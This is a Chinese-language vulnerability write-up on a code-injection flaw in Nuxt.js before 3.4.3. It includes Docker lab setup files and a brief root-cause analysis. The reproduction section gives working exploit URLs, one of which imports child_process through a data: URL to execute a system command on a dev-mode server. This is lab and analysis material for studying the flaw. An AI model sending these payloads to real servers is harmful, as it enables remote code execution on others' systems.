漏洞简介

Nuxt 是一个免费的开源框架,它以一种直观的、可扩展的方式,用Vue.js创建类型安全、性能良好和生产级的全栈Web应用程序和网站。Nuxt.js(简称 Nuxt)是一个基于 Vue.js 的通用应用框架,用于构建服务端渲染的应用程序(SSR)和静态生成的网站。

Nuxt.js 3.4.3之前版本中的 test-component-wrapper 组件的动态导入函数存在代码注入漏洞,当服务器在开发模式下运行且Node.js的版本为 12+ 时,攻击者可以利用 EMCAScript 的 'data: import' 功能导入恶意载荷,进而远程执行恶意代码。

环境搭建

不断尝试出错,最后成功编写了 docker 文件

FROM node:18

# 设置工作目录
WORKDIR /app

COPY package.json ./
RUN npm init -y 
RUN npm install -g npm
RUN npm install
RUN npm install -g nuxt@3.4.0

# 暴露 Nuxt.js 默认端口(3000)
EXPOSE 3000

# 启动开发者模式
CMD ["npx", "nuxi", "dev"]
version: '3'
services:
  app:
    build:
      context: .
      dockerfile: Dockerfile
    ports:
      - 3000:3000
{
  "name": "my-nuxt-project",
  "version": "1.0.0",
  "private": true,
  "scripts": {
    "dev": "nuxt"
  },
  "dependencies": {
    "nuxt": "3.4.0"
  }
}

漏洞复现

http://localhost:3000/__nuxt_component_test__/?path=data%3atext/javascript,console.log(%22test!%22);

http://localhost:3000/__nuxt_component_test__/?path=data%3atext/javascript,throw%20new%20Error((await%20import(%27child_process%27)).execSync(%27id%27));

漏洞浅析

漏洞的触发点在 packages/nuxt/src/app/components/nuxt-root.vue​ 当服务器以 dev 模式运行,请求的 url 以 /__nuxt_component_test__/​ 开头时,会引入 #build/test-component-wrapper.mjs​,会根据 query 中的 path 截取然后引入,导致任意代码执行。

8 天 后
23 天 后
7 个月 后
说点什么吧...